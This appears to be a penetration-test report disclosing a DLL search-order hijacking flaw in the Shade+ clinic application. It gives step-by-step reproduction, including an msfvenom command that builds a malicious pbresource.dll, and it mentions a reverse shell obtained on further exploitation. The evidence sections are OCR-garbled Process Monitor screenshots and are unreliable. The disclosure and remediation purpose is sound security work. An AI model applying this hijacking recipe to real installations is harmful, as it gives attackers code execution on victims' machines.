

# High Vulnerability Report

## **Overview:**

Shade+ is a thick client application developed using Appeon PowerBuilder. Recently, we identified a DLL search order hijacking vulnerability within the application. Exploiting this vulnerability allowed us to establish a reverse shell, granting unauthorized access to the victim system. Leveraging this access, we could view, create, and modify data on the victim's system, posing a significant security risk.

The root cause of this vulnerability lies in the application's failure to locate the pbresource file. As attackers, we can exploit this weakness by creating a malicious DLL with the same name. Subsequently, when the application attempts to load the pbresource file, it will inadvertently load our malicious DLL instead. This substitution effectively compromises the integrity and security of the Shade+ application, potentially leading to further exploitation or unauthorized access.

# **Testing Summary:**

# Project Scope: Shade+

#### Summary Finding

Priority	Vulnerability	Status			
High	DLL Search order Hijacking	Open			

### **Description:**

The attacker exploit the functionality of the windows DLL loader where the process loading the DLL search for the DLL to be loaded first in the same directory in which the process binary resides and then in other directories (eg : system32). Exploitation of this preferential search order can allow attacker to make the loading process load the attacker rouge DLL rather than the legitimate DLL

# Affected Asset:

#### Proof of concept / Step to reproduce

- Launch "Process monitor" tool and filter the result to display all the activities related to "Clinic.exe" with path ending with ".dll" and result contains "NAME NOT FOUND"
- 2. Launch the shade application and observe the application searching for "pbresource.dll" in the current directory.
- 3. Generate a malicious DLL to load "calculator" application using tools like msfvenom.
  - a. **Payload:** msfvenom -f dll -p windows/exec CMD="C:\Windows\System32\calc.exe" -o pbresource.dll
- 4. Store the malicious DLL file in the application directory with the name "pbresource.dll"
- 5. Launch the application and observe the calculator application being launched.

#### Notes:

We were also able to obtain a reverse shell on further exploitation. It is recommended to perform an integrity check before loading the DLL (Load only signed DLL's)

# Evidence:

1. Filtering clinic.exe from Process monitor:

Process Monitor - Sysinternals: www.sysinternals.com															
File Ed	it Event Fi	ilter Tool	ls Options	Help											
BB			7 1 0	2	5	P71	<b>F</b>								
Time	Process Name	PID	Operation	Pat	th			Result	Detail						
20.64	Palinia ava	12400	Cum Onen	Die	hadelah	The market		NAME NOT FOUND							
20.54	Clinic exe	11984	CreateFile	C-14	Mindows	System 32\wow64	Ib no	NAME NOT FOUND	Desired Access: R						
20.54	Cinic exe	11984	QueryOpen	D:\s	shade\P	BVM dl	- y	MAME NOT COUND							
20:54:	clinic.exe	11984	QueryOpen	D:\s	shade\P8	BVM.dll		Process Monit	tor Filter						×
20:54 (	clinic.exe	11984	CreateFile	C:\V	Mindows	\SysWOW64\PBVI	Ib.N								
20:54: (	clinic.exe	11984	R CreateFile	C:\W	Nindows	\System\PBVM.dll		Dirolm entrier m	stching there condi	tioner					
20:54: (	clinic.exe	11984	CreateFile	C:\W	Windows	PBVM.dl		Display entries mi	atching these contai	00112					
20:54: (	clinic.exe	11984	CueryOpen	D:\s	shade\P8	BVM.dll		Process Name	✓ is	<ul> <li>clinic.exe</li> </ul>		~	then	Include	~
20:54:	clinic.exe	11984	a QueryOpen	D:\s	shade\P8	BSHR.dll									
20:54:	clinic.exe	11984	rs QueryOpen	D:\s	shade \P8	BUIS.dl		Dent						0	
20:54:	clinic.exe	11984	CreateFile	C:\V	Nindows	SysWOW64\PBUI	S.dl	Reset				Add		Remove	
20:54:	clinic.exe	11984	reaterie	C:W	Windows	SysWOW64 PBSP	HR.dl								
20.54.	canic.exe	11004	Createrse	C:W	Mindows	System (PBUIS.dl		Column	Relation	Value	Action				
20.54	Cinic.exe	11004	Createrile	CON	Modews	DECLE AL			Therefore a state of the	Toros	1 404041				1
20.54	cinic.exe	11004	Createrie	CON	Mindows	PBSHR.dl		Process N.	is	clinic.exe	Include				
20.54	Ciriic.exe	11004	Createrse	Dite	windows			Process N.	is	Procmon.exe	Exclude				
20.54	Clinic exe	11984	CueryOpen	0.4	shade P	RI IIS AII		Process N.	is	Procexp.exe	Exclude				
20.54	Clinic eve	11984	a QueryOpen	D:\*	shade\VF	ERSION dl		Process N.	is	Autoruns.exe	Exclude				
20.54	Clinic exe	11984	QueryOpen	D:\s	shade\nk	edio di		Process N.	is	Procmon64.exe	Exclude				
20.54	clinic exe	11984	QueryOpen	D:\s	hade\W	ISOCK32 dl		Process N.	is	Procexp64.exe	Exclude				
20:54:	clinic.exe	11984	a QuervOpen	D:\s	shade\M	SIMG32.dl		Process N.	is	System	Exclude				
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade\M	SVCP140.dll		C C Operation	begins with	IRP MJ	Exclude				
20:54: (	clinic.exe	11984	CueryOpen	D:\s	shade\UI	AutomationCore.DL	L							-	-
20:54: (	clinic.exe	11984	QueryOpen	D:\s	shade\Ub	«Theme.dll					OF	Connel		Annha	
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	hade\W	CRUNTIME140.dl					UK	cancer		Abbia	
20:54: (	clinic.exe	11984	R QueryOpen	D:\s	shade\W	ISOCK32.dll									
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade\M	SIMG32.dll		NAME NOT FOUND							
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade\W	CRUNTIME140.dl		NAME NOT FOUND							
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade\M	SVCP140.dll		NAME NOT FOUND							
20:54: (	clinic.exe	11984	R QueryOpen	D:\s	shade\W	CRUNTIME140.dl		NAME NOT FOUND							
20:54:	clinic.exe	11984	R QueryOpen	D:\s	shade \OI	LEACC.dll		NAME NOT FOUND							
20:54: 0	clinic.exe	11984	as QueryOpen	D:\s	shade\W	INMM.dl		NAME NOT FOUND							
20:54:	clinic.exe	11984	R QueryOpen	D:\s	shade \O	LEACCRC.DLL		NAME NOT FOUND							
20:54:	clinic.exe	11984	a QueryOpen	D:\s	shade ob	presource.dl		NAME NOT FOUND							
20.54	carac.exe	11984	Create File	CON	Mindows	Syswow64 ypbres	ID SOLUCIE	NAME NOT FOUND	Desired Access: R						
20.54	Cirric.exe	11924	Createrie	City	Modows	obressurse di	e.un	NAME NOT FOUND	Desired Access: P						
20.54	Clinic ava	11984	Createrse	D:\*	hade of	pureautice.dl		NAME NOT FOUND	Deared ALCess. R						
20.54	Clinic exe	11984	aueryOpen	D.\s	shade \nt	ison dl		NAME NOT FOUND							
20.54	dinic exe	11984	CreateFile	C'W	Nindows	SvsWOW64\obiso	n di	NAME NOT FOUND	Desired Access: R						
20.54	clinic.exe	11984	CreateFile	C:W	Mindows	\System \obison.dll		NAME NOT FOUND	Desired Access: R						
20.54	clinic.exe	11984	CreateFile	C:\V	Nindows	obison dl		NAME NOT FOUND	Desired Access: R						
20:54:	clinic.exe	11984	a QueryOpen	D:\s	shade \ob	ison.dll		NAME NOT FOUND							
20:54:	clinic.exe	11984	QueryOpen	D:\s	shade \pb	dwe.dl		NAME NOT FOUND							
20:54 (	clinic.exe	11984	CreateFile	C:\W	Mindows	\SysWOW64\pbdw	lb.er	NAME NOT FOUND	Desired Access: R						
20:54:	clinic.exe	11984	CreateFile	C:\W	Mindows	\System\pbdwe.dll		NAME NOT FOUND	Desired Access: R						
20:54: (	clinic.exe	11984	R CreateFile	C:\W	Windows	pbdwe.dll		NAME NOT FOUND	Desired Access: R						
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade \pb	dwe.dl		NAME NOT FOUND							
20:54: (	clinic.exe	11984	aueryOpen	D:\s	shade \pb	httpclient.dl		NAME NOT FOUND							
20:54: (	Clinic.exe	11984	CreateFile	C:\V	Mindows	\SysWOW64\pbhtt	polient.dl	NAME NOT FOUND	Desired Access: R						
20:54: (	clinic.exe	11984	CreateFile	C:\V	Windows	\System\pbhttpclier	t.dl	NAME NOT FOUND	Desired Access: R						
20:54:	Clinic.exe	11984	r CreateFile	C:\/	Mindows	\pbhttpclient.dll		NAME NOT FOUND	Desired Access: R						
20:54: (	Clinic.exe	11984	R QueryOpen	D:\s	shade \pb	httpclient.dl		NAME NOT FOUND							
20:54: (	clinic.exe	11984	a QueryOpen	D:\s	shade\W	INHTTP.dll	1.00	NAME NOT FOUND							
20.54:	Canic.exe	11984	CreateFile	C:\V	Windows	SysWOW64 vpcss	. all	NAME NOT FOUND	Desired Access: R						
20.54: 9	clinic.exe	11984	a QueryOpen	D:\s	shade \pb	ovm.dll		NAME NOT FOUND							
20.34 (	canic.exe	11984	CueryOpen	0:\s	snade vot	xrienie.cli		MAME NOT FOUND							

2. Filtering path end with .dll file:



3.Filtering result contains "NAME NOT FOUND":

Proce	ess widentus - sysi	anternats, wow.systituerna	scom							
File E	dit Event Filt	ter Tools Options H	lelp							
	1 🖸 🗔	1	Å & ^ / <b>≓ = </b> ⊆	🚽 of 🔼						
Time	Process Name	PID Operation	Path	Result	Detail					
20.54	Coloic ave	13480 CreateFile	C1\Windows\System\costion ini	NAME NOT FOUND D	estred Access R					
20.54	Clinic exe	13480 R CreateFile	C:\Windows\position.ini	NAME NOT FOUND D	esired Access: R					
20:54:	Clnic exe	13480 CreateFile	C:\Program Files (k86)\Appeon\Commo	NAME NOT COUND D	nind Annan D					
20:54:	Colinic.exe	13480 R CreateFile	C:\Windows\SysWOW64\position.ini	Process Monito	r Filter				>	×
20:54:	Clinic exe	13480 R CreateFile	C:\Windows\position.ini							
20.54:	clinic.exe	13480 m CreateFile	C:\Windows\SysWOW64\wbem\positio	<b>Display entries mat</b>	ching these condition	tions:				
20.54	clinic exe	13480 CreateFie	C:\Windows\SysWOW64\WindowsPo			ALLAN AT ALL	T COURIE			
20.54	Carso exe	12490 CreateFie	C Windows Monade NET Framework	Result	contains	· TRANTE IN	THOUND	<ul> <li>ther</li> </ul>	include V	
20.54	Calinic eve	13480 CreateFie	C \Pmoram Flee\SOL Anoshere 15\Bin							
20.54:	Clinic.exe	13480 The Create File	C:\Program Files\SQL Anywhere 16\Bin	Reset				Add	Remove	
20.54	Colinic.exe	13480 In CreateFile	C:\Program Files\SQL Anywhere 17\Bin							
20.54:	Colnic.exe	13480 🖬 CreateFile	C:\Program Files\SQL Anywhere 17\Bin		2000					
20.54	clinic exe	13480 m CreateFile	C:\metasplot framework \bin\position.ini	Column	Helation	Value	Action			
20.54	clinic.exe	13480 CreateFile	C:\Users\HITS\AppData\Loca\Progra	Process N	is	clinic.exe	Include			
20.54:	clinic exe	13480 CreateFile	C:/Users/HITS/AppData/Local/Micros Distante/instantia	🖸 🥝 Result	contains	NAME NOT FO	Include			
20.54	Concience	13490 CueryOpen	D:shadebosition ini	Process N	is .	Procmon.exe	Exclude			
20.54	Canic exe	13480 CreateFile	C:\Windows\SysWOW64\position.ini	Process N	is	Procexp.exe	Exclude			
20.54	Clinic exe	13480 CreateFile	C:\Windows\System\position.ini	Process N	in .	Autoruns.exe	Exclude			
20.54:	Clinic.exe	13480 📻 CreateFile	C:\Windows\position.ini	Process N	is	Procmon64.exe	Exclude			
20.54:	Colnic.exe	13480 CreateFile	C:\Program Files (x86)\Appeon\Commo	Process N	ia.	Procexp64.exe	Exclude			
20:54:	clinic.exe	13480 R CreateFile	C:\Windows\SysWOW64\postion.ini	Process N	is	System	Exclude			
20:54:	clinic exe	13480 m CreateFile	C:\Windows\position.ini							
20.54	Canic exe	13480 Createrile	C:\Windows\SysWUW64\wbem\postio C:\Windows\SysWUW64\wbem\postio				OK	Cancel	Apply	
20.54	Cinic exe	13490 CreateFile	C:\WINDOWS\SysWOW64\OpenSSH							
20.54	Clinic exe	13480 CreateFile	C:\Windows\Microsoft.NET\Framework	NAME NOT FOUND D	esired Access: R					
20.54	clinic.exe	13480 🐂 CreateFile	C:\Program Files\SQL Anywhere 16\Bn	NAME NOT FOUND D	esired Access: R					
20.54:	Colinic.exe	13480 📻 CreateFile	C:\Program Files\SQL Anywhere 16\Bin	NAME NOT FOUND D	esired Access: R					
20:54:	Clinic.exe	13480 m CreateFile	C:\Program Files\SQL Anywhere 17\Bin	NAME NOT FOUND D	esired Access: R					
20.54	Clinic.exe	13480 m CreateFile	C:\Program Files\SQL Anywhere 17\Bin	NAME NOT FOUND D	eaired Access: R					
20.54	canic exe	13480 Createrie	C: vietasplot framework /bin/postion.ini	PATH NOT FOUND D	esired Access: H					
20.54	Cinic exe	13480 CreateFile	C:\Users\RITS\AmData\Loca\Moma	NAME NOT FOUND D	esired Access: R					
20.54	Clinic exe	13490 QueryOpen	D.'shade position ini	NAME NOT FOUND	and reading. rt					
20.54	Colinic.exe	13490 RueryOpen	D:\shade\position.ini	NAME NOT FOUND						
20.54	Clinic.exe	13480 🔐 CreateFile	C:\Windows\SysWOW64\position.ini	NAME NOT FOUND D	esired Access: R					
20:54:	Clinic.exe	13480 📻 CreateFile	C:\Windows\System\position.ini	NAME NOT FOUND D	esired Access: R					
20.54	clinic.exe	13480 CreateFile	C:\Windows\position.ini	NAME NOT FOUND D	esired Access: R					
20.54	Clinic.exe	13480 CreateFile	C. Mogram Files (k86)\Appeon\Commo	NAME NOT FOUND D	esred Access: R					
20.54	Cinic exe	13480 Createrile	C:\Windows\oosition.ini	NAME NOT FOUND D	esired Access P					
20.54	Colnic eve	13480 CreateFile	C\\Windows\SysWDW64\wbem\costio	NAME NOT FOUND D	esired Access: R					
20.54	Colinic.exe	13480 CreateFie	C:\Windows\SysWOW64\WindowsPo	NAME NOT FOUND D	esired Access: R					
20.54	Clinic exe	13480 R CreateFile	C:\WINDOWS\SysWOW64\OpenSSH	PATH NOT FOUND D	esired Access: R.					
20:54:	Clinic.exe	13480 📻 CreateFile	C:\Windows\Microsoft.NET\Framework	NAME NOT FOUND D	eaired Access: R					
20.54	Clinic.exe	13480 R CreateFile	C:\Program Files\SQL Anywhere 16\Bin	NAME NOT FOUND D	esired Access: R					
20.54:	Clinic.exe	13480 m CreateFile	C:\Program Files\SQL Anywhere 16\Bin	NAME NO FOUND D	esired Access: R					
20.54:	canic exe	13480 CreateFile	C: Program Mes SQL Anywhere 17/Bin	NAME NOT FOUND D	esred Access: R					
20.54	clinic exe	13490 CreateFile	Christeenhit framework (bin) opation in	PATH NOT FOUND D	eared Access R					
20.54	Clinic exe	13480 CreateFie	C:\Lisers\RITS\AnnData\Loca\Pmmra	NAME NOT FOUND D	estred Access R					
20:54	Clinic exe	13480 CreateFile	C:\Users\RITS\AppData\Local\Micros	NAME NOT FOUND D	esired Access: R					
20.54	Colinic exe	13490 🐂 QueryOpen	D:\shade\position.ini	NAME NOT FOUND						
20:54:	Clinic.exe	13480 RueryOpen	D:\shade\position.ini	NAME NOT FOUND						

4. Pbresource not found in the result:

Proces	ss Monitor - Sysin	ternais: www.sysinternais	com						- 0
File Ed	it Event Filte	er Tools Options He	elp						
D 层	1 🖸 🗖	1700	品 🖗 🔎 利 📑 🗃	🖵 of 🚹					
Time	Process Name	PID Operation	Path	Result Detail					
20.64	Patrix and	11004 - 0	Distante (PR) (1 di	NAME NOT FOUND					
20.54	Cinic ere	11984 CreateFile	C:\Wodows\SvsWOW54\PEVM dl	NAME NOT FOUND Desired Access: B					
20-54	Cinic ere	11984 In CreateFile	C:\Windows\System\PR\M dll	NAME NOT FOUND Desired Access: B	A Course De	a Press college			
20-54-	Chine ere	11984 In CreateFile	C:\Windows\PR\/M dl	NAME NOT FOUND Desired Access: B	> Event Pr	at Propercies			
20-54-	clinic exe	11984 To Quen Open	D:\shade\PR\M dl	NAME NOT FOUND					
20.54	Clinic eue	11984 To OuenOpen	D:\abade\PBSHR.dl	NAME NOT FOUND	🐓 Evi	Event	Process 😝 Stack		
20.54	clinic exe	11984 RuenOpen	D:\shade\PBUIS.dl	NAME NOT FOUND					
20.54	Clinic ene	11984 In CreateFile	C:\Windows\SysWOW64\PBUIS dl	NAME NOT FOUND Desired Access: R	Dates		11/05/2024 20:54:47.9576992		
20.54	clinic ese	11984 CreateFile	C:\Windows\SysWOW64\PBSHR.dl	NAME NOT FOUND Desired Access: R					
20:54:	clinic exe	11984 In CreateFile	C:\Windows\System\PBUIS.dll	NAME NOT FOUND Desired Access: R	Incesa:	80: ·	706		
20.54	clinic exe	11984 In CreateFile	C:\Windows\System\PBSHR.dll	NAME NOT FOUND Desired Access: R	Class:	s: 1	File System		
20.54	clinic.exe	11984 In CreateFile	C:\Windows\PBSHR.dl	NAME NOT FOUND Desired Access: R	Onestin		0		
20.54	clinic.exe	11984 Im CreateFile	C:\Windows\PBUIS.dl	NAME NOT FOUND Desired Access: R	Operatio	auon: v	Quelyopen		
20:54:	clinic.exe	11984 Te QueryOpen	D:\shade\PBSHR.dl	NAME NOT FOUND	Result	it: 1	NAME NOT FOUND		
20:54: (	cinic.exe	11984 in QueryOpen	D:\shade\PBUIS.dll	NAME NOT FOUND	Daths		Då shada) alvessa usea dill		
20:54	Ciric exe	11984 RueryOpen	D:\shade\VERSION.dll	NAME NOT FOUND	e a cita		or Grinde guites directain		
20.54 (	Clinic.exe	11984 in QueryOpen	D:\shade\oledig.dll	NAME NOT FOUND	Duration	rtion: 0	0.0000093		
20:54 0	Clinic.exe	11984 In QueryOpen	D:\shade\WSOCK32.dl	NAME NOT FOUND					
20:54: 9	clinic.exe	11984 MueryOpen	D:\shade\MSIMG32.dl	NAME NOT FOUND					
20:54	ciric.exe	11984 w QueryOpen	U:\shade\MSVCP14U.dl	NAME NOT FOUND					
20:54	ciric.exe	11984 In GueryOpen	D:\shade\UIAutomationCore.DLL	NAME NOT FOUND					
20.54	caric.exe	11964 CueryOpen	D: shade (Ux Theme di	NAME NOT FOUND					
20.54	cinc.ele	11004 Be GoeryOpen	D. shade WCRON TIME Head	NAME NOT FOUND					
20.04	cinc.ele	11004 Component	D. shade WOUCK32.dl	NAME NOT FOUND					
20.54	chric ele	11904 To Outer Open	Diskede WOINDALIN	NAME NOT FOUND					
20.54	Cinic eve	11984 CorryOpen	D:\shade\MSVCP140.dl	NAME NOT FOUND					
20-54-	Christene	11984 DuenOpen	D:\shade\\/CBUNTIME140.dl	NAME NOT FOUND					
20:54	clinic ere	11984 RuenOpen	D:\shade\OLEACC.dll	NAME NOT FOUND					
20.54	clinic exe	11984 To Quen Open	D:\shade\WINMM.dll	NAME NOT FOUND					
20.54	clinic exe	11984 The Quen Open	D:\ahade\OLEACCRC.DLL	NAME NOT FOUND					
20:54:	clinic.exe	11984 RueryOpen	D:\ahade\pbresource.dll	NAME NOT FOUND					
20:54	clinic exe	11984 TreateFile	C:\Windows\SysWOW64\pbresource.dl	NAME NOT FOUND Desired Access: R					
20:54:	clinic.exe	11984 In CreateFile	C:\Windows\System\pbresource.dll	NAME NOT FOUND Desired Access: R					
20:54	Cinic exe	11984 In CreateFile	C:\Windows\pbresource.dl	NAME NOT FOUND Desired Access: R					
20.54 0	dinic.exe	11964 QueryOpen	D:\ahade\pbresource.dll	NAME NOT FOUND					
20.54 9	Odnic exe	11984 Im QueryOpen	D:\shade\pbjson.dl	NAME NOT FOUND					
20:54 9	cinic exe	11984 m CreateFile	C:\Windows\SysWOW64\pbjson.dl	NAME NOT FOUND Desired Access: H					
20:54	Ciric.exe	11984 m CreateFile	C:\Windows\System\pbjson.dll	NAME NOT FOUND Desired Access: H					
20.54	ciric ese	11984 In Createrie	C: windows/poison.dl	NAME NOT FOUND Desired Access: H					
20.54	Cinic exe	11904 CueryOpen	D:\ahade\poison.oli D:\ahade\phdws.dll	NAME NOT FOUND					
20.54	chric.exe	11994 ContaEle	C-\Wedows\SusWOWEf\chdwed	NAME NOT FOUND Desired Access: P					
20-54	Chricene	11994 CreateFile	C:\Wedger) System\ebdere dl	NAME NOT FOUND Desired Access: R					
20.54	Cinic ere	11984 In CreateFile	C:\Windows\obdwe_dl	NAME NOT FOUND Desired Access: R					
20.54	Cinic exe	11984 CueryOpen	D:\shade\obdwe.dl	NAME NOT FOUND					
20.54:	clinic.exe	11984 In QueryOpen	D:\shade\obhttoclent.dll	NAME NOT FOUND	* *	Next	t Highlighted	Copy All Close	
20:54	Clinic.exe	11984 In CreateFile	C:\Windows\SysWOW64\pbhttpclient.d	II NAME NOT FOUND Desired Access: R			2017 07:00		
20:54: (	clinic exe	11984 in CreateFile	C:\Windows\System\pbhttpclient.dll	NAME NOT FOUND Desired Access: R					
20:54:	clinic.exe	11984 R CreateFile	C:\Windows\pbhttpclient.dll	NAME NOT FOUND Desired Access: R					
20:54: (	Clinic.exe	11984 RueryOpen	D:\ahade\pbhttpclient.dll	NAME NOT FOUND					
20:54:	Clnic.exe	11984 RueryOpen	D:\shade\WINHTTP.dll	NAME NOT FOUND					
20:54:	Clinic exe	11964 m CreateFile	C:\Windows\SysWOW64\rpcss.dll	NAME NOT FOUND Desired Access: R					
20:54 9	Clinic exe	11964 M GueryOpen	U:\shade\pbvm.dl	NAME NOT FOUND					
20:54	canic.exe	11304 m QueryOpen	U: anade (potheme di	NAME NOT FOUND Damed Assess D					
20.54	Canic exiê	11304 BELIEAGHIE	C: \windows\syswOW64\potheme.dl	NAME NOT FOUND Deared Access! H					

#### 5. Generating malicious DLL file using msfvenom.



#### **Remediation Note:**

To remediate the DLL search order hijacking vulnerability in Shade+, we recommend implementing strict file path validation mechanisms within the application's codebase. Additionally, updating the application to utilize absolute file paths instead of relying on relative paths can mitigate the risk of unauthorized DLL loading. Furthermore, conducting regular security audits and penetration testing can help identify and address similar vulnerabilities proactively, ensuring the continued security and integrity of the Shade+ application